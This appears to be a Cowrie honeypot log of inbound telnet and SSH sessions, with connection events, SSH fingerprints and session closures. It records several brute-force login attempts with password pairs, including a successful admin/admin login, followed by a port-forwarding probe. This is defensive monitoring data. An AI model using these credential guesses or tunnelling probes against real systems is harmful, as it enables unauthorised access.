{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58290,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c8ab743d5e","protocol":"telnet","message":"New connection: 104.245.105.2:58290 (10.17.0.5:23) [session: 89c8ab743d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:44.903362Z"}
{"eventid":"cowrie.session.closed","duration":33.661590576171875,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:48.879072Z","src_ip":"142.93.2.99","session":"b1c702ace915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58292,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ce74afe95de","protocol":"telnet","message":"New connection: 104.245.105.2:58292 (10.17.0.5:23) [session: 5ce74afe95de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:49.101188Z"}
{"eventid":"cowrie.session.closed","duration":33.835723638534546,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:49.108791Z","src_ip":"142.93.2.99","session":"a2177b72f931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76832103729248,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:50.149874Z","src_ip":"142.93.2.99","session":"862172e6274e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35259532928467,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:50.486649Z","src_ip":"142.93.2.99","session":"dbeba256a3b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62280488014221,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:51.840654Z","src_ip":"142.93.2.99","session":"88a8a7bf46f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54668,"dst_ip":"159.203.135.109","dst_port":23,"session":"29b0db48dc2c","protocol":"telnet","message":"New connection: 142.93.2.99:54668 (159.203.135.109:23) [session: 29b0db48dc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:52.089344Z"}
{"eventid":"cowrie.session.closed","duration":33.18897771835327,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:59.921866Z","src_ip":"142.93.2.99","session":"79815755923d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14826488494873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:00.776909Z","src_ip":"104.245.105.2","session":"52c5c5c88e86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1850152015686,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:03.051392Z","src_ip":"142.93.2.99","session":"b0e353ff43f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11022996902466,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:03.735247Z","src_ip":"142.93.2.99","session":"2156211dc7a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53516721725464,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:04.908608Z","src_ip":"142.93.2.99","session":"5ea95a767bee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.263126611709595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:06.217408Z","src_ip":"142.93.2.99","session":"a7b9414b8c99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39200,"dst_ip":"159.203.135.109","dst_port":23,"session":"a10e8079690b","protocol":"telnet","message":"New connection: 142.93.2.99:39200 (159.203.135.109:23) [session: a10e8079690b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:06.221953Z"}
{"eventid":"cowrie.session.closed","duration":31.1343936920166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:06.532244Z","src_ip":"142.93.2.99","session":"8ab0c108c79a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.654239892959595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:10.487502Z","src_ip":"142.93.2.99","session":"14f9593b4e12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01019239425659,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:10.671848Z","src_ip":"142.93.2.99","session":"09d44e56053d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44110,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cd65402869a","protocol":"telnet","message":"New connection: 142.93.2.99:44110 (159.203.135.109:23) [session: 7cd65402869a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:12.660455Z"}
{"eventid":"cowrie.session.closed","duration":32.96823048591614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:15.204565Z","src_ip":"142.93.2.99","session":"8758291ff27f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05089521408081,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:15.954100Z","src_ip":"104.245.105.2","session":"89c8ab743d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.698460817337036,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:16.384364Z","src_ip":"142.93.2.99","session":"8859056b5137","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46256,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e9b629f1245","protocol":"telnet","message":"New connection: 142.93.2.99:46256 (159.203.135.109:23) [session: 3e9b629f1245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:18.377498Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49148,"dst_ip":"159.203.135.109","dst_port":23,"session":"b92ceaf6387b","protocol":"telnet","message":"New connection: 142.93.2.99:49148 (159.203.135.109:23) [session: b92ceaf6387b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:19.204355Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.158.238","src_port":50022,"dst_ip":"10.17.0.5","dst_port":22,"session":"0389fb4bc255","protocol":"ssh","message":"New connection: 119.96.158.238:50022 (10.17.0.5:22) [session: 0389fb4bc255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:19.945889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:19.950602Z","src_ip":"119.96.158.238","session":"0389fb4bc255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:20.178668Z","src_ip":"119.96.158.238","session":"0389fb4bc255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.213688373565674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:20.314786Z","src_ip":"104.245.105.2","session":"5ce74afe95de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test22","message":"login attempt [test2/test22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:21.122114Z","src_ip":"119.96.158.238","session":"0389fb4bc255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:23.040937Z","src_ip":"119.96.158.238","session":"0389fb4bc255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.46003532409668,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:25.549275Z","src_ip":"142.93.2.99","session":"29b0db48dc2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.21741604804993,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:25.645203Z","src_ip":"104.245.105.2","session":"13ad03437673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":42388,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6cc3b64f28c","protocol":"ssh","message":"New connection: 186.233.118.22:42388 (159.203.135.109:22) [session: d6cc3b64f28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:26.204663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:26.211686Z","src_ip":"186.233.118.22","session":"d6cc3b64f28c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53964,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae515370d00a","protocol":"telnet","message":"New connection: 142.93.2.99:53964 (159.203.135.109:23) [session: ae515370d00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:26.321474Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:26.330533Z","src_ip":"186.233.118.22","session":"d6cc3b64f28c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terry123","message":"login attempt [root/terry123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:26.839653Z","src_ip":"186.233.118.22","session":"d6cc3b64f28c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":36836,"dst_ip":"159.203.135.109","dst_port":22,"session":"12967b4425d8","protocol":"ssh","message":"New connection: 189.194.140.170:36836 (159.203.135.109:22) [session: 12967b4425d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:27.383680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:27.390512Z","src_ip":"189.194.140.170","session":"12967b4425d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:27.487061Z","src_ip":"189.194.140.170","session":"12967b4425d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123..","message":"login attempt [root/qaz123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:27.860565Z","src_ip":"189.194.140.170","session":"12967b4425d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:27.961046Z","src_ip":"186.233.118.22","session":"d6cc3b64f28c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:28.961789Z","src_ip":"189.194.140.170","session":"12967b4425d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.417115688323975,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:40.639001Z","src_ip":"142.93.2.99","session":"a10e8079690b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.96356749534607,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:46.623947Z","src_ip":"142.93.2.99","session":"7cd65402869a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42620,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb95d9c3d34b","protocol":"telnet","message":"New connection: 142.93.2.99:42620 (159.203.135.109:23) [session: bb95d9c3d34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:47.985295Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46648,"dst_ip":"159.203.135.109","dst_port":23,"session":"a46a6df50239","protocol":"telnet","message":"New connection: 142.93.2.99:46648 (159.203.135.109:23) [session: a46a6df50239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:51.572843Z"}
{"eventid":"cowrie.session.closed","duration":33.46605038642883,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:51.843442Z","src_ip":"142.93.2.99","session":"3e9b629f1245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.99968671798706,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:52.203917Z","src_ip":"142.93.2.99","session":"b92ceaf6387b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5626,"dst_ip":"10.17.0.5","dst_port":22,"session":"a515003047cc","protocol":"ssh","message":"New connection: 87.251.64.176:5626 (10.17.0.5:22) [session: a515003047cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:55.649688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:55.654140Z","src_ip":"87.251.64.176","session":"a515003047cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:55.751048Z","src_ip":"87.251.64.176","session":"a515003047cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:56.043782Z","src_ip":"87.251.64.176","session":"a515003047cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:56.142752Z","session":"a515003047cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:56.240107Z","src_ip":"87.251.64.176","session":"a515003047cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:56.338006Z","src_ip":"87.251.64.176","session":"a515003047cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51978,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4366c555f43","protocol":"telnet","message":"New connection: 142.93.2.99:51978 (159.203.135.109:23) [session: a4366c555f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:57.715018Z"}
{"eventid":"cowrie.session.closed","duration":32.06984543800354,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:58.391226Z","src_ip":"142.93.2.99","session":"ae515370d00a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51188,"dst_ip":"159.203.135.109","dst_port":23,"session":"34d328c00855","protocol":"telnet","message":"New connection: 142.93.2.99:51188 (159.203.135.109:23) [session: 34d328c00855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:11:59.753871Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54648,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab50ca50d42c","protocol":"telnet","message":"New connection: 142.93.2.99:54648 (159.203.135.109:23) [session: ab50ca50d42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:00.688910Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55218,"dst_ip":"159.203.135.109","dst_port":23,"session":"627bc4ce2a08","protocol":"telnet","message":"New connection: 142.93.2.99:55218 (159.203.135.109:23) [session: 627bc4ce2a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:01.357566Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56080,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd9d38eed119","protocol":"telnet","message":"New connection: 142.93.2.99:56080 (159.203.135.109:23) [session: cd9d38eed119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:02.439987Z"}
